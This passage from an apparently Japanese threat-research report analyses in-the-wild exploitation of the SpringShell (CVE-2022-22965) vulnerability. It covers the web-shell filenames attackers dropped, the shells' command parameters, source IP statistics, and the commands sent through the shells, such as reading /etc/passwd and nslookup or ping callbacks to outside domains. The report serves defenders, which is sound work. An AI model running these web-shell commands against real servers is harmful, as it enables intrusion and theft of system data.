1\u30bd\u30c3\u30c9<span style=\"font-family: 'courier new', courier, monospace;\">Class.getClassLoader()<\/span>\u3001<span style=\"font-family: 'courier new', courier, monospace;\">getProtectionDomain()<\/span>\u3092\u9664\u5916\u3059\u308b\u3053\u3068\u3067\u884c\u3063\u3066\u3044\u307e\u3059(\u56f36\u3067\u30cf\u30a4\u30e9\u30a4\u30c8\u8868\u793a\u3057\u305f\u90e8\u5206)\u3002\u3057\u304b\u3057\u30d6\u30ed\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u4f7f\u3046\u3068\u30ea\u30b9\u30c8\u306b\u306a\u3044\u30b1\u30fc\u30b9\u304c\u56de\u907f\u3055\u308c\u308b\u30ea\u30b9\u30af\u304c\u3042\u308a\u307e\u3059\u3002\u305d\u3057\u3066<a href=\"https:\/\/www.oracle.com\/corporate\/features\/understanding-java-9-modules.html\">Java 9 Platform Module System<\/a>(JPMS) \u306f\u3001\u3053\u306e\u30d6\u30ed\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u56de\u907f\u3059\u308b\u65b9\u6cd5\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_122485\" aria-describedby=\"caption-attachment-122485\" style=\"width: 966px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122486 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-57.png\" alt=\"\u56f36\u306b\u793a\u3059\u30b3\u30fc\u30c9\u30b9\u30cb\u30da\u30c3\u30c8\u306f\u3001CVE-2010-1622\u306b\u5bfe\u3059\u308b\u4fee\u6b63\u5185\u5bb9\u3067\u3059\u3002\u3053\u3053\u3067\u306e\u4fee\u6b63\u306f\u3001\u30d6\u30ed\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u4f7f\u3063\u30662\u3064\u306e\u30e1\u30bd\u30c3\u30c9Class.getClassLoader()\u3001getProtectionDomain()\u3092\u9664\u5916\u3059\u308b\u3053\u3068\u3067\u884c\u3063\u3066\u3044\u307e\u3059(\u3053\u306e\u56f3\u306e\u9752\u3067\u30cf\u30a4\u30e9\u30a4\u30c8\u8868\u793a\u3057\u305f\u90e8\u5206)\u3002\" width=\"966\" height=\"860\" \/><figcaption id=\"caption-attachment-122485\" class=\"wp-caption-text\">\u56f36 CVE-2010-1622\u306e\u4fee\u6b63\u5185\u5bb9<\/figcaption><\/figure>\n<h3><a id=\"establishing-a-reverse-shell\"><\/a>\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u306e\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u63a5\u7d9a\u78ba\u7acb<\/h3>\n<p>\u65b0\u305f\u306b\u8ffd\u52a0\u3055\u308c\u305f\u30e2\u30b8\u30e5\u30fc\u30eb\u30d7\u30ed\u30d1\u30c6\u30a3\u306b\u3088\u308alogging\u8a2d\u5b9a\u304c\u5909\u66f4\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u3001logging\u6a5f\u80fd\u7d4c\u7531\u3067JSP Web\u30b7\u30a7\u30eb\u3092web\u30db\u30b9\u30c8\u306e\u30d5\u30a9\u30eb\u30c0\u306b\u66f8\u304d\u8fbc\u3081\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059(\u56f37\u53c2\u7167)\u3002<\/p>\n<figure id=\"attachment_122487\" aria-describedby=\"caption-attachment-122487\" style=\"width: 440px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122488 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-58.png\" alt=\"\u65b0\u305f\u306b\u8ffd\u52a0\u3055\u308c\u305f\u30e2\u30b8\u30e5\u30fc\u30eb\u30d7\u30ed\u30d1\u30c6\u30a3\u306b\u3088\u308alogging\u8a2d\u5b9a\u304c\u5909\u66f4\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u3001logging\u6a5f\u80fd\u7d4c\u7531\u3067JSP Web\u30b7\u30a7\u30eb\u3092web\u30db\u30b9\u30c8\u306e\u30d5\u30a9\u30eb\u30c0\u306b\u66f8\u304d\u8fbc\u3081\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059(\u3053\u306e\u56f3)\u3002\" width=\"440\" height=\"255\" \/><figcaption id=\"caption-attachment-122487\" class=\"wp-caption-text\">\u56f37 JDK\u30d0\u30fc\u30b8\u30e7\u30f39\u4ee5\u964d\u306egetModule<\/figcaption><\/figure>\n<p>\u56f38\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304cTomcat\u306eROOT\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b<span style=\"font-family: 'courier new', courier, monospace;\">shell7.jsp<\/span>\u3068\u3044\u3046\u540d\u524d\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u4fdd\u8b77\u3055\u308c\u305fWeb\u30b7\u30a7\u30eb\u3092\u30c9\u30ed\u30c3\u30d7\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_122489\" aria-describedby=\"caption-attachment-122489\" style=\"width: 725px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122490 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-59.png\" alt=\"\u56f38\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304cTomcat\u306eROOT\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306bshell7.jsp\u3068\u3044\u3046\u540d\u524d\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u4fdd\u8b77\u3055\u308c\u305fWeb\u30b7\u30a7\u30eb\u3092\u30c9\u30ed\u30c3\u30d7\u3057\u3066\u3044\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\" width=\"725\" height=\"451\" \/><figcaption id=\"caption-attachment-122489\" class=\"wp-caption-text\">\u56f38 web\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306bJSP\u306eWeb\u30b7\u30a7\u30eb\u3092\u66f8\u304d\u8fbc\u3080<\/figcaption><\/figure>\n<p>\u305d\u306e\u5f8c\u653b\u6483\u8005\u306fJSP Web\u30b7\u30a7\u30eb\u3092\u901a\u3058\u3066\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u3092\u547c\u3073\u51fa\u305b\u307e\u3059\u3002\u56f39\u306f\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30fc\u30d0\u4e0a\u3067netcat\u3092\u5b9f\u884c\u3057\u3001\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u3078\u306e\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u78ba\u7acb\u3057\u305f\u4f8b\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_122497\" aria-describedby=\"caption-attachment-122497\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122498 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/image7.png\" alt=\"\u56f39\u306f\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30fc\u30d0\u4e0a\u3067netcat\u3092\u5b9f\u884c\u3057\u3001\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u3078\u306e\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u78ba\u7acb\u3057\u305f\u4f8b\u3067\u3059\u3002\" width=\"900\" height=\"458\" \/><figcaption id=\"caption-attachment-122497\" class=\"wp-caption-text\">\u56f39 netcat\u3067\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u63a5\u7d9a\u3092\u78ba\u7acb<\/figcaption><\/figure>\n<h2><\/h2>\n<h2><a id=\"springshell-exploit\"><\/a>SpringShell\u306e<strong>\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/strong><\/h2>\n<p>\u3053\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u30c9\u306f\u3059\u3067\u306b\u4e00\u822c\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u307e\u3059\u3002Unit 42\u306f2022\u5e743\u670830\u65e5\u672a\u660e\u306b\u30b9\u30ad\u30e3\u30f3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u521d\u89b3\u6e2c\u3057\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u308c\u306fURL\u5185\u306b\u30c6\u30b9\u30c8\u6587\u5b57\u5217\u3092\u542b\u3080\u30b5\u30fc\u30d0\u30fc\u3078\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u3057\u305f\u3002\u56f310\u306b\u521d\u671f\u306e\u30b9\u30ad\u30e3\u30f3\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u4e00\u4f8b\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_122493\" aria-describedby=\"caption-attachment-122493\" style=\"width: 1598px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122494 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-61.png\" alt=\"\u56f310\u306b\u521d\u671f\u306e\u30b9\u30ad\u30e3\u30f3\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u4e00\u4f8b\u3092\u793a\u3057\u307e\u3059\" width=\"1598\" height=\"116\" \/><figcaption id=\"caption-attachment-122493\" class=\"wp-caption-text\">\u56f310 PAN-DB\u30af\u30e9\u30a6\u30c9\u30ed\u30b0\u304b\u3089\u306e\u30b9\u30ad\u30e3\u30f3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/figcaption><\/figure>\n<p>\u8105\u5a01\u9632\u5fa1\u30b7\u30b0\u30cd\u30c1\u30e3\u306e\u30c6\u30b9\u30c8\u4e2d\u3001\u79c1\u305f\u3061\u306f\u3055\u3089\u306a\u308b\u30b9\u30ad\u30e3\u30f3\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u304c\u3001\u3053\u308c\u306fHTTP POST\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u30c7\u30fc\u30bf\u30bb\u30af\u30b7\u30e7\u30f3\u306b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u30c9\u3092\u542b\u3093\u3067\u3044\u307e\u3057\u305f(\u56f311\u53c2\u7167)\u3002<\/p>\n<figure id=\"attachment_122495\" aria-describedby=\"caption-attachment-122495\" style=\"width: 793px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122496 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/word-image-62.png\" alt=\"\u8105\u5a01\u9632\u5fa1\u30b7\u30b0\u30cd\u30c1\u30e3\u304c\u30c8\u30ea\u30ac\u30fc\u3057\u305fCVE-2022-22965\u95a2\u9023\u306e\u30b9\u30ad\u30e3\u30f3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\" width=\"793\" height=\"414\" \/><figcaption id=\"caption-attachment-122495\" class=\"wp-caption-text\">\u56f311 \u8105\u5a01\u9632\u5fa1\u30b7\u30b0\u30cd\u30c1\u30e3\u304c\u30c8\u30ea\u30ac\u30fc\u3057\u305fCVE-2022-22965\u95a2\u9023\u306e\u30b9\u30ad\u30e3\u30f3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/figcaption><\/figure>\n<p>\u8105\u5a01\u9632\u5fa1\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u5c0e\u5165\u5f8c\u3001Spring Core Remote Code Execution Vulnerability\u30b7\u30b0\u30cd\u30c1\u30e3\u306b\u95a2\u9023\u3059\u308b\u30d1\u30b1\u30c3\u30c8\u30ad\u30e3\u30d7\u30c1\u30e3\u3092\u5206\u6790\u3057\u305f\u3068\u3053\u308d\u3001\u3053\u308c\u3089\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u5927\u534a\u306f\u3001\u4e00\u822c\u516c\u958b\u3055\u308c\u3066\u3044\u308bPoC\u30c4\u30fc\u30eb\u304b\u3089\u6d3e\u751f\u3057\u305f\u30c4\u30fc\u30eb\u3067\u751f\u6210\u3055\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306e\u5206\u6790\u304b\u3089\u306f\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306b\u6210\u529f\u3057\u305f\u5834\u5408\u3001\u30b5\u30fc\u30d0\u30fc\u4e0a\u306b\u306f\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3067Web\u30b7\u30a7\u30eb\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u3067\u3042\u308d\u3046\u3053\u3068\u304c\u308f\u304b\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">0xd0m7.jsp<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">myshell.jsp<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">shell.jsp<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">tomcatwar.jsp<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">wpz.jsp<\/span><\/p>\n<p>\u3053\u308c\u3089\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307e\u308c\u305fWeb\u30b7\u30a7\u30eb\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3082\u3084\u306f\u308a\u516c\u958b\u6e08\u307f\u306ePoC\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u30b3\u30fc\u30c9\u3068\u975e\u5e38\u306b\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u3002Web\u30b7\u30a7\u30eb\u306b\u306f2\u3064\u306e\u30d0\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u304c\u3042\u308a\u307e\u3059\u30021\u3064\u3081\u306fPoC\u306b\u542b\u307e\u308c\u3001\u8a8d\u8a3c\u306b<span style=\"font-family: 'courier new', courier, monospace;\">pwd<\/span>\u30d1\u30e9\u30e1\u30fc\u30bf(\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u5e38\u306b<span style=\"font-family: 'courier new', courier, monospace;\">j<\/span>)\u3001\u5b9f\u884c\u3059\u308b\u30b3\u30de\u30f3\u30c9\u306b<span style=\"font-family: 'courier new', courier, monospace;\">cmd<\/span>\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u4f7f\u7528\u3057\u307e\u3059\u30022\u3064\u3081\u306f\u3001\u8a8d\u8a3c\u7528\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u4f7f\u7528\u305b\u305a\u3001\u5b9f\u884c\u3059\u308b\u30b3\u30de\u30f3\u30c9\u306b<span style=\"font-family: 'courier new', courier, monospace;\">id<\/span>\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u88681\u306f\u3001\u30b5\u30fc\u30d0\u30fc\u306b\u4fdd\u5b58\u3055\u308c\u305fWeb\u30b7\u30a7\u30eb\u304c\u8a8d\u8a3c\u3068\u30b3\u30de\u30f3\u30c9\u306b\u4f7f\u7528\u3059\u308b\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u3001\u305d\u308c\u3089\u304c\u4f55\u56de\u78ba\u8a8d\u3055\u308c\u305f\u304b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<table style=\"width: 67.5263%;\">\n<tbody>\n<tr>\n<td style=\"width: 41.9223%;\"><b>URL \u30d1\u30e9\u30e1\u30fc\u30bf<\/b><\/td>\n<td style=\"width: 26.1759%;\"><b>\u8a8d\u8a3c<\/b><\/td>\n<td style=\"width: 18.4049%;\"><b>\u30b3\u30de\u30f3\u30c9<\/b><\/td>\n<td style=\"width: 103.272%;\"><b>\u4ef6\u6570<\/b><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 41.9223%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">&amp;id=&lt;command&gt;<\/span><\/td>\n<td style=\"width: 26.1759%;\"><\/td>\n<td style=\"width: 18.4049%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">id<\/span><\/td>\n<td style=\"width: 103.272%;\"><span style=\"font-weight: 400;\">337<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 41.9223%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">&amp;pwd=j&amp;cmd=&lt;command&gt;<\/span><\/td>\n<td style=\"width: 26.1759%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">pwd<\/span><\/td>\n<td style=\"width: 18.4049%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">cmd<\/span><\/td>\n<td style=\"width: 103.272%;\"><span style=\"font-weight: 400;\">219<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt; color: #999999;\"><em>\u88681 Spring Core Remote Code Execution Vulnerability\u7528\u30b7\u30b0\u30cd\u30c1\u30e3\u3067\u30d2\u30c3\u30c8\u3057\u305fWeb\u30b7\u30a7\u30eb\u3067\u4f7f\u7528\u3055\u308c\u308b\u30d1\u30e9\u30e1\u30fc\u30bf<\/em><\/span><\/p>\n<p>\u79c1\u305f\u3061\u306f\u3001SpringShell\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u95a2\u9023\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u4f7f\u3063\u3066Web\u30b7\u30a7\u30eb\u3078\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u3092\u691c\u7d22\u3057\u307e\u3057\u305f(\u305f\u3060\u3057<span style=\"font-family: 'courier new', courier, monospace;\">shell.jsp<\/span>\u306f\u540d\u524d\u304c\u4e00\u822c\u7684\u3059\u304e\u308b\u306e\u3067\u5bfe\u8c61\u5916\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u306b\u6ce8\u610f)\u3002\u79c1\u305f\u3061\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u7279\u7570\u306a\u30b3\u30de\u30f3\u30c9\u304cWeb\u30b7\u30a7\u30eb\u306b\u4e0e\u3048\u3089\u308c\u3066\u3044\u308b\u69d8\u5b50\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u3046\u3061\u3001\u304a\u305d\u3089\u304f<span style=\"font-family: 'courier new', courier, monospace;\">\/etc\/passwd<\/span>\u306b\u304b\u304b\u308f\u308b2\u3064\u306e\u30b3\u30de\u30f3\u30c9\u3060\u3051\u304c\u60aa\u610f\u3092\u3082\u3063\u3066\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3068\u793a\u5506\u3055\u308c\u307e\u3059\u3002\u6b8b\u308a\u306e\u30b3\u30de\u30f3\u30c9\u306f\u4e00\u822c\u7684\u306a\u30b9\u30ad\u30e3\u30f3\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">ls<\/span><br \/>\n<span style=\"color: #ff6600; font-family: 'courier new', courier, monospace;\">nslookup%20[redacted].test6.ggdd[.]co[.]uk<\/span><br \/>\n<span style=\"color: #ff6600; font-family: 'courier new', courier, monospace;\">nslookup+[redacted].test6.ggdd[.]co[.]uk<\/span><br \/>\n<span style=\"color: #ff6600; font-family: 'courier new', courier, monospace;\">ping%20[redacted].test6.ggdd[.]co[.]uk<\/span><br \/>\n<span style=\"color: #ff6600; font-family: 'courier new', courier, monospace;\">ping+[redacted].test6.ggdd[.]co[.]uk<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">whoami<\/span><br \/>\n<span style=\"color: #ff6600; font-family: 'courier new', courier, monospace;\">cat%20\/etc\/passwd<\/span><br \/>\n<span style=\"color: #ff6600; font-family: 'courier new', courier, monospace;\">cat+\/etc\/passwd<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">id<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">ifconfig<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">ipconfig<\/span><br \/>\n<span style=\"color: #ff6600; font-family: 'courier new', courier, monospace;\">ping%20[redacted].burpcollaborator[.]net<\/span><\/p>\n<h2 id=\"observed-in-the-wild\">\u5b9f\u969b\u306b\u89b3\u6e2c\u3055\u308c\u305f\u4e8b\u4f8b<\/h2>\n<p><span style=\"font-weight: 400;\">3\u670831\u65e5\u672a\u660e\u3001\u300cSpring Core Remote Code Execution Vulnerability (Spring Core\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027)\u300d\u7528\u30b7\u30b0\u30cd\u30c1\u30e3\u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\u30024\u67087\u65e5\u306b\u30b7\u30b0\u30cd\u30c1\u30e3\u306e\u516c\u958b\u304b\u30897\u65e5\u5206\u306e\u6d3b\u52d5\u3092\u53ce\u96c6\u3057\u305f\u3068\u3053\u308d\u3001\u3053\u306e\u30b7\u30b0\u30cd\u30c1\u30e3\u304c43,092\u56de\u30c8\u30ea\u30ac\u30fc\u3055\u308c\u3066\u3044\u305f\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002<\/span><span style=\"font-weight: 400;\">\u56f312<\/span><span style=\"font-weight: 400;\">\u306f\u30013\u670831\u65e5\u304b\u30894\u67083\u65e5\u307e\u3067\u7dcf\u30d2\u30c3\u30c8\u6570\u304c\u7740\u5b9f\u306b\u5897\u52a0\u3057\u30014\u67084\u65e5\u306b\u304b\u306a\u308a\u5927\u304d\u304f\u6e1b\u5c11\u3057\u3001\u305d\u306e\u5f8c4\u67085\u65e5\u30686\u65e5\u306b\u307e\u305f\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u4e0a\u6607\u306b\u50be\u3044\u305f\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6642\u70b9\u3067\u306f\u3001\u610f\u56f3\u7684\u306b\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u305f\u30c6\u30b9\u30c8\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u4ee5\u5916\u3067\u3001\u30b5\u30fc\u30d0\u30fc\u306bWeb\u30b7\u30a7\u30eb\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u3088\u3046\u306a\u60aa\u7528\u304c\u6210\u529f\u3057\u305f\u3053\u3068\u306f\u307e\u3060\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002<\/span><\/p>\n<figure id=\"attachment_122633\" aria-describedby=\"caption-attachment-122633\" style=\"width: 656px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-122634 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/03\/Figure-12.png\" alt=\"Spring Core Remote Code Execution Vulnerability\u30b7\u30b0\u30cd\u30c1\u30e3\u306e1\u65e5\u3042\u305f\u308a\u306e\u30d2\u30c3\u30c8\u6570\u3092\u793a\u3059\u30b0\u30e9\u30d5\" width=\"656\" height=\"406\" \/><figcaption id=\"caption-attachment-122633\" class=\"wp-caption-text\">\u56f312. Spring Core Remote Code Execution Vulnerability\u30b7\u30b0\u30cd\u30c1\u30e3\u306e1\u65e5\u3042\u305f\u308a\u306e\u30d2\u30c3\u30c8\u6570\u3092\u793a\u3059\u30b0\u30e9\u30d5<\/figcaption><\/figure>\n<p><span style=\"font-weight: 400;\">\u5206\u6790\u4e2d\u306f\u591a\u6570\u306e\u4e00\u610f\u306aIP\u30a2\u30c9\u30ec\u30b9\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u304c\u30012,056\u500b\u306e\u30a2\u30c9\u30ec\u30b9\u304cSpring Core Remote Code Execution Vulnerability\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u30c8\u30ea\u30ac\u30fc\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002<\/span><span style=\"font-weight: 400;\">\u88682<\/span><span style=\"font-weight: 400;\">\u306f\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u30c8\u30ea\u30ac\u30fc\u3057\u305f\u63a5\u7d9a\u5143\u3068\u3057\u3066\u89b3\u6e2c\u3055\u308c\u305f\u4e0a\u4f4d15\u500b\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3001\u3053\u308c\u3089\u304c\u79c1\u305f\u3061\u304c\u89b3\u6e2c\u3057\u305f\u5168\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e50%\u5f37\u3092\u5360\u3081\u3066\u3044\u307e\u3057\u305f\u3002<\/span><\/p>\n<table style=\"width: 35.097%;\">\n<tbody>\n<tr>\n<td style=\"width: 27.6923%;\"><b>\u4ef6\u6570<\/b><\/td>\n<td style=\"width: 188.616%;\"><b>IP<\/b><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">4064<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">172.16.0.0\/12<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">2664<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">10.0.0.0\/8<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1680<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">178.79.148[.]229<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1504<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">82.165.137[.]177<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1351<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">172.104.159[.]48<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1336<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">109.74.204[.]123<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1188<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">5.253.204[.]37<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1092<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">185.245.85[.]232<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1090<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">185.196.3[.]23<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1080<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">172.104.140[.]107<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1080<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">207.246.101[.]107<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">1004<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">45.33.101[.]246<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">963<\/span><\/td>\n<td style=\"width: 188.616%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">45.33.65[.]249<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 27.6923%;\"><span style=\"font-weight: 400;\">911<\/span><\/td>\n<td style=\"width: 188.616%;\"><span 